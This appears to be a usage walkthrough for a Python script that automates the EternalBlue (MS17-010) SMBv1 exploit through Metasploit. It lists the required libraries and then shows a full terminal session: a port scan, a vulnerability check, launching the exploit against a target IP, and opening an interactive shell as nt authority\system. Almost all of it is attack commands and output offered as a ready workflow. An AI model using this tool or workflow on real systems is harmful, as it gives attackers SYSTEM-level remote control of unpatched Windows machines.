

Prerequisites:

1. Python 2, "python-nmap" library which can be installed using "pip install python-nmap" command and pymetasploit library which can be installed through "pip install pymetasploit"
2. Metasploit Framework (Installation instructions: <https://metasploit.help.rapid7.com/docs/installing-the-metasploit-framework>) (Note: In Kali Linux, by default it's preinstalled)

EternalBlue end-to-end:

Here we go,

```
root@kali:~/Downloads/python# python EternalBlue_v2.py
```

```
Enter the IP address: 192.168.17.128
```

```
Port 139 is open
```

```
Port 445 is open
```

```
-----  
Verify whether the system is vulnerable to EternalBlue exploit(Y/N): Y  
-----
```

VULNERABLE:

```
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
```

```
State: VULNERABLE
```

```
IDs: CVE:CVE-2017-0143
```

```
Risk factor: HIGH
```

```
A critical remote code execution vulnerability exists in Microsoft SMBv1  
servers (ms17-010).
```

```
Disclosure date: 2017-03-14
```

```
References:
```

```
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
```

```
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
```

```
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
```

```
Proceed to exploit the system(Y/N): Y
```

```
[*] MSGRPC starting on 127.0.0.1:55553 (NO SSL):Msg...
```

```
[*] MSGRPC backgrounding at 2018-10-12 14:00:03 -0400...
```

```
Exploitation started.....
```

```
The session details are: {'job_id': 0, 'uuid': 'f7tyzfva'}
```

```
Proceed to interact with the shell(Y/N): Y
```

```
Enter a command, Ex: ipconfig, cd, etc,.: whoami
```

```
Microsoft Windows [Version 6.1.7601]
```

```
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>whoami  
nt authority\system
```

```
C:\Windows\system32>
```

```
Enter a command, Ex: ipconfig, cd, etc,.: █
```